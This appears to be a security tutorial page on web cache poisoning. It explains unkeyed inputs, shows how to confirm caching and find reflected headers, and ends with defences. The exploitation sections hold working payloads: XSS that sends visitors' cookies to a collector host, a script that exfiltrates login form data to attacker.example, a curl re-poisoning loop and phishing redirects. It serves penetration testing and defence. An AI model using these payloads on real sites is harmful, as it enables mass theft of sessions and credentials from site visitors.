Web cache poisoning
Questi contenuti non sono ancora disponibili nella tua lingua.
Web cache poisoning turns a single attacker request into a stored attack served to every user who hits the same cached page. The attacker manipulates an input that the cache ignores (an unkeyed input) but the back-end reflects in the response. Once that poisoned response is cached, every subsequent visitor receives the attacker’s payload until the cache entry expires, and the attacker can re-poison it indefinitely.
The impact depends on two factors: what the attacker can inject (XSS, redirect, resource hijack) and how much traffic the poisoned page receives. Poisoning a high-traffic homepage means thousands of victims from one request.
How web caches work
Section titled “How web caches work”A cache sits between clients and the origin server, storing responses to reduce load and latency.
Cache keys
Section titled “Cache keys”The cache compares incoming requests against stored entries using a subset of the request called the cache key. Typically the key includes:
- The request line (method + path + query string)
- The
Hostheader
Everything not in the cache key is called unkeyed. The cache ignores unkeyed components when deciding whether to serve a stored response. If an unkeyed input changes the response content, the attacker poisons the cache by sending a request with a malicious unkeyed value.
Attacker request: Cache key = GET /page + Host: target.example X-Forwarded-Host: evil.com ← unkeyed, ignored by cache Response contains evil.com ← stored in cache
Victim request: Cache key = GET /page + Host: target.example No special headers Cache key matches → serves the poisoned response Victim receives evil.comIdentification: is the target cacheable?
Section titled “Identification: is the target cacheable?”Before hunting for unkeyed inputs, confirm that the application uses a cache at all and that the page you are testing is actually cached. Without this step, you can spend hours fuzzing headers on a page that is never stored.
Confirm caching exists
Section titled “Confirm caching exists”Send the same request twice and compare the response headers:
GET /en?region=uk HTTP/1.1Host: target.exampleHTTP/1.1 200 OKCache-Control: public, max-age=1800X-Cache: missAge: 0GET /en?region=uk HTTP/1.1Host: target.exampleHTTP/1.1 200 OKCache-Control: public, max-age=1800X-Cache: hitAge: 3The key indicators:
| Header / behavior | Cache exists | No cache |
|---|---|---|
X-Cache |
First: miss, second: hit |
Header absent or always miss |
Age |
Increments on repeated requests | Header absent |
Cache-Control |
public, max-age=N, s-maxage=N |
no-store, no-cache, private |
Via |
Present (e.g., 1.1 varnish) |
Absent |
| Response time | Second request noticeably faster | Same speed |
CF-Cache-Status |
HIT / MISS (Cloudflare) |
DYNAMIC or absent |
Identify which pages are cacheable
Section titled “Identify which pages are cacheable”If the homepage returns Cache-Control: no-store, do not give up. Different pages have different
caching policies. Walk the site and check headers on:
- Static-looking paths:
/,/about,/blog/post-title - Pages with query parameters:
/search?q=test,/products?category=1 - Localized paths:
/en/,/fr/,/en?region=uk - Resources loaded by the page:
.js,.cssfiles (these are often cached aggressively)
What makes a page a good target for cache poisoning:
- It is cached (
X-Cache: hiton the second request) - It has a reasonable
max-age(the longer, the more victims see the poisoned version) - It receives traffic (homepage, login page, popular product pages)
- It is an HTML page, not a static asset (you need a reflection point for XSS)
The attack: find and exploit unkeyed inputs
Section titled “The attack: find and exploit unkeyed inputs”Step 1 - Find unkeyed inputs
Section titled “Step 1 - Find unkeyed inputs”You confirmed the page is cached. Now find an input that the cache ignores but the back-end reflects in the response. This is the core of cache poisoning: an input that is unkeyed (not part of the cache key) but influential (changes the response).
Why this works: the cache stores and serves the response based on the cache key. If you add a header that is not in the key, the cache does not distinguish your request from a normal one. But if the back-end uses that header to build the response, your injected value is stored and served to everyone.
Manual testing
Section titled “Manual testing”Add a header with a recognizable canary value, then check if it appears in the response:
GET /en?region=uk&cb=abc123 HTTP/1.1Host: target.exampleX-Forwarded-Host: CANARY-12345Search the response body for CANARY-12345. If you find it, this header is reflected and
unkeyed (the cache buster cb=abc123 isolates your test from real cache entries).
Repeat for each candidate header:
GET /en?region=uk&cb=def456 HTTP/1.1Host: target.exampleX-Forwarded-Proto: CANARY-PROTOAutomated testing with Param Miner
Section titled “Automated testing with Param Miner”Manual testing is slow. Param Miner (Burp BApp Store) automates the process:
- Install Param Miner from the BApp Store
- In Burp, find a request to a cached page (confirmed in the previous step)
- Right-click the request → “Guess headers”
- Param Miner sends hundreds of requests, each with a different header from its built-in wordlist, plus an automatic cache buster to avoid cross-contamination
- If a header changes the response, Param Miner reports it:
- Burp Pro: appears in the Issues panel as “Web cache poisoning”
- Burp Community: appears in the Output tab of the Param Miner extension
Common unkeyed headers
Section titled “Common unkeyed headers”| Header | What it does when reflected | How to spot it |
|---|---|---|
X-Forwarded-Host |
Replaces hostname in generated URLs, <meta> tags, <script src> |
Search for your canary in href, src, content attributes |
X-Forwarded-Scheme / X-Forwarded-Proto |
Changes the scheme (http/https), can trigger a redirect | Response becomes a 301/302 with Location header |
X-Original-URL / X-Rewrite-URL |
Overrides the request path server-side | Response body changes to a different page entirely |
X-Host |
Alternative to X-Forwarded-Host on some frameworks |
Same as X-Forwarded-Host |
X-Forwarded-Port |
Appended to the host in generated URLs | Canary appears after a : in URLs |
| Cookies (if unkeyed) | Cookie value reflected in the page (language selector, preferences) | Check if Vary: Cookie is absent |
Decision: is it exploitable?
Section titled “Decision: is it exploitable?”Finding a reflected unkeyed input is not enough. You need to determine where in the response it appears and whether you can inject something dangerous:
| Reflection context | Exploitable? | What to inject |
|---|---|---|
Inside an HTML attribute (href, src, content) |
Yes, break out of the attribute | "><script>alert(1)</script> |
As a <script src> URL |
Yes, host your own JS file | Point to attacker.example |
In a Location: redirect header |
Yes, redirect to phishing | Combine with X-Forwarded-Proto |
| In a comment or non-rendered element | Probably not | Limited impact, look for other inputs |
| URL-encoded or HTML-encoded by the server | Harder | Try double encoding, different injection points |
If the reflected value is sanitized (HTML entities, URL encoding), cache poisoning alone is not enough. Look for a second unkeyed input or a DOM sink that processes the encoded value client-side.
Step 2 - Craft the payload
Section titled “Step 2 - Craft the payload”Once you find a reflected unkeyed input in a dangerous context, build the actual payload. The goal is to make the response contain something that executes in every visitor’s browser.
Three common reflection points and how to exploit each:
In a <meta> tag (Open Graph image URL):
GET /en?region=uk&cb=test123 HTTP/1.1Host: target.exampleX-Forwarded-Host: attacker.example<meta property="og:image" content="https://attacker.example/cms/social.png" />The X-Forwarded-Host value directly builds the URL. No sanitization.
In a <script src> import:
GET /?cb=test456 HTTP/1.1Host: target.exampleX-Forwarded-Host: attacker.example<script src="https://attacker.example/static/analytics.js"></script>In a 301/302 redirect Location header:
GET /random?cb=test789 HTTP/1.1Host: target.exampleX-Forwarded-Proto: httpHTTP/1.1 301 Moved PermanentlyLocation: https://target.example/randomCombine X-Forwarded-Proto: http with X-Forwarded-Host: attacker.example to redirect to the
attacker’s domain.
Step 3 - Get the response cached
Section titled “Step 3 - Get the response cached”Remove the cache buster and send the poisoned request so the cache stores the malicious response under the real cache key.
How to confirm the cache stored it:
GET /en?region=uk HTTP/1.1Host: target.exampleX-Forwarded-Host: a]"><script>alert(document.domain)</script>HTTP/1.1 200 OKCache-Control: public, max-age=1800Age: 0X-Cache: missX-Cache: miss + Age: 0 means this is a fresh response, now stored in the cache. Send the same
request without the malicious header:
GET /en?region=uk HTTP/1.1Host: target.exampleHTTP/1.1 200 OKX-Cache: hitAge: 3
<meta property="og:image" content="https://a]"><script>alert(document.domain)</script>...X-Cache: hit confirms you received the cached (poisoned) response. Open the same URL in a
different browser or incognito window to verify a real victim would be affected.
Timing: when to send the poison
Section titled “Timing: when to send the poison”The cache stores a response for max-age seconds. The Age header tells you how old the current
entry is. The window to poison is:
Time until expiry = max-age - AgeWhen Age approaches max-age, the next request will be a cache miss and the back-end generates
a fresh response. That is the moment to send the poisoned request.
For persistent poisoning, script the re-poisoning to fire every time the cache is about to expire:
while true; do curl -s -o /dev/null \ -H "Host: target.example" \ -H "X-Forwarded-Host: attacker.example" \ "https://target.example/en?region=uk" sleep 1790 # max-age is 1800, re-poison 10s before expirydoneExploitation: carrying it to impact
Section titled “Exploitation: carrying it to impact”XSS via unkeyed header: cookie theft at scale
Section titled “XSS via unkeyed header: cookie theft at scale”The X-Forwarded-Host value is reflected in a <meta> tag without sanitization. Break out of the
attribute and inject a script that exfiltrates every visitor’s cookies:
GET /en?region=uk HTTP/1.1Host: target.exampleX-Forwarded-Host: x]"/><script>fetch('https://YOUR-ID.oastify.com',{method:'POST',mode:'no-cors',body:document.cookie})</script><meta x="<meta property="og:image" content="https://x]"/><script>fetch('https://YOUR-ID.oastify.com',{method:'POST',mode:'no-cors',body:document.cookie})</script><meta x="/cms/social.png" />Once cached, every visitor to /en?region=uk sends their session cookie to the attacker’s
Collaborator server. With max-age=1800 and the re-poison loop running, this is persistent stored
XSS affecting all traffic to the page.
Resource import hijacking: full JavaScript control
Section titled “Resource import hijacking: full JavaScript control”When the unkeyed header controls a <script src>, the attacker hosts their own JavaScript file.
This gives full control over the page in the victim’s browser.
-
Poison the cache so
<script src>points toattacker.example:Poison GET / HTTP/1.1Host: target.exampleX-Forwarded-Host: attacker.example -
Host the malicious script on
attacker.exampleat the exact path the page imports (e.g.,/static/analytics.js):attacker.example/static/analytics.js // Steal credentials from the login formdocument.addEventListener('submit', function(e) {var form = e.target;fetch('https://attacker.example/log', {method: 'POST',mode: 'no-cors',body: JSON.stringify({url: location.href,data: new FormData(form).entries().reduce(function(o,p){o[p[0]]=p[1];return o}, {})})});}); -
Once cached, every visitor loads and executes the attacker’s script. The attacker can steal cookies, capture form submissions, redirect users, or inject a crypto miner.
Multiple headers: redirect chain to phishing
Section titled “Multiple headers: redirect chain to phishing”Some targets require two unkeyed headers working together. The first forces a scheme downgrade, the second changes the host:
GET /login HTTP/1.1Host: target.exampleX-Forwarded-Proto: httpX-Forwarded-Host: attacker.exampleHTTP/1.1 301 Moved PermanentlyLocation: https://attacker.example/loginCached result: every visitor to /login is silently redirected to a phishing page that mirrors
the real login form. Credentials entered on the phishing page go to the attacker.
Cookie-based poisoning
Section titled “Cookie-based poisoning”If a cookie value is reflected in the response but cookies are not part of the cache key, the attacker injects a payload via the cookie:
GET /blog/post.php?mobile=1 HTTP/1.1Host: target.exampleCookie: language="><script>alert(document.domain)</script>If the language cookie value is injected into the page HTML without encoding, and the cookie is
not keyed, this response is served to all users who visit the same URL.
This vector is rare in the wild because legitimate users with different cookie values accidentally poison the cache, which gets noticed quickly.
Targeted poisoning via Vary header
Section titled “Targeted poisoning via Vary header”When the response includes Vary: User-Agent, each unique User-Agent string gets its own cache
entry. The attacker can:
- Identify the victim’s User-Agent (via a separate interaction, email tracking pixel, or social engineering) and poison only that cache entry for a targeted attack
- Use the most common User-Agent (the latest Chrome on Windows) to maximize the number of affected users
GET / HTTP/1.1Host: target.exampleUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36X-Forwarded-Host: attacker.exampleOnly visitors with that exact User-Agent receive the poisoned response.
DOM-based XSS via cache
Section titled “DOM-based XSS via cache”The target page fetches a JSON configuration file from a URL that the unkeyed header controls.
Client-side JavaScript passes a value from the JSON into a dangerous sink (innerHTML, eval,
document.write):
fetch('/config.json') .then(r => r.json()) .then(data => { document.getElementById('welcome').innerHTML = data.greeting; });-
Poison the cache so
/config.jsonis fetched from the attacker’s server:Poison GET / HTTP/1.1Host: target.exampleX-Forwarded-Host: attacker.example -
Host the malicious JSON on the attacker’s server with CORS enabled:
attacker.example/config.json HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *{"greeting": "<img src=x onerror=alert(document.domain)>"} -
The cached page loads
https://attacker.example/config.json, the JavaScript puts thegreetingvalue intoinnerHTML, and the XSS fires.
Chaining vulnerabilities
Section titled “Chaining vulnerabilities”A single unkeyed input may produce only a partial reflection or a low-impact change (wrong language, minor redirect). Chaining multiple techniques escalates the impact:
- Redirect + resource import: force a redirect to a page that imports resources from the attacker via a second poisoned entry
- Low-impact reflection + DOM sink: the reflection does not break out of an attribute, but the value reaches a DOM sink via JavaScript
- Cookie + header: the cookie sets the language, the header sets the domain for resource imports, and together they produce XSS
Response headers reference
Section titled “Response headers reference”| Header | What it tells you |
|---|---|
X-Cache: hit / miss |
Whether the response came from cache |
Age: 174 |
Seconds since the response was cached |
Cache-Control: public, max-age=1800 |
Cache lifetime (1800s = 30 min) |
Vary: User-Agent |
User-Agent is part of the cache key |
Via: 1.1 varnish |
Cache technology in use (Varnish, CloudFront, Akamai) |
CF-Cache-Status: HIT |
Cloudflare-specific cache status |
Testing checklist
Section titled “Testing checklist”1. Confirm caching exists - Send the same request twice - Second response has X-Cache: hit or Age > 0? - Note Cache-Control max-age value
2. Find unkeyed inputs (Param Miner) - Right-click → "Guess headers" with cache buster enabled - Also manually test: X-Forwarded-Host, X-Forwarded-Proto, X-Original-URL, X-Host - Check if cookies are keyed (Vary header, or test directly)
3. Verify reflection - Unkeyed input appears in the response body? - Context: HTML attribute, script src, meta tag, redirect Location? - Dangerous enough for XSS or resource hijack?
4. Craft and test the payload (with cache buster) - XSS: break out of the context, inject script - Resource hijack: point script/link src to attacker domain - Redirect: force Location to attacker domain - Verify the payload fires in a browser
5. Poison the real cache (without cache buster) - Remove the cb= parameter - Send the poisoned request - Verify X-Cache: hit returns the payload - Open in incognito / different browser to confirm
6. Document the timing - Note max-age and current Age - Calculate expiry window - Demonstrate re-poisoning is possibleDefense
Section titled “Defense”| Measure | Why |
|---|---|
| Cache only truly static responses | If any input changes the response, either key that input or do not cache the page |
| Key every input that influences the response | If X-Forwarded-Host changes the HTML, it must be in the cache key |
| Strip unnecessary headers at the CDN | If X-Forwarded-Host is not needed, do not pass it to the origin |
| Disable fat GET requests | Do not process request bodies on GET requests |
| Patch client-side vulnerabilities | A “non-exploitable” DOM XSS becomes exploitable via cache poisoning |
| Audit CDN defaults | Many CDN features (header forwarding, origin override) are on by default |
Review Vary configuration |
Ensure all inputs that change the response are listed in Vary |
| Rewrite requests instead of excluding inputs from the key | Excluding an input from the key but still using it server-side is the exact condition for cache poisoning |
References
Section titled “References”- PortSwigger Web Security Academy - Web cache poisoning
- Practical Web Cache Poisoning (James Kettle, 2018)
- Web Cache Entanglement (James Kettle, 2020)
- PortSwigger Lab: Web cache poisoning with an unkeyed header
- PortSwigger Lab: Web cache poisoning with an unkeyed cookie
- PortSwigger Lab: Web cache poisoning with multiple headers
- PortSwigger Lab: Targeted web cache poisoning using an unknown header
- HackTricks - Cache Poisoning
2113 parole, circa 11 min di lettura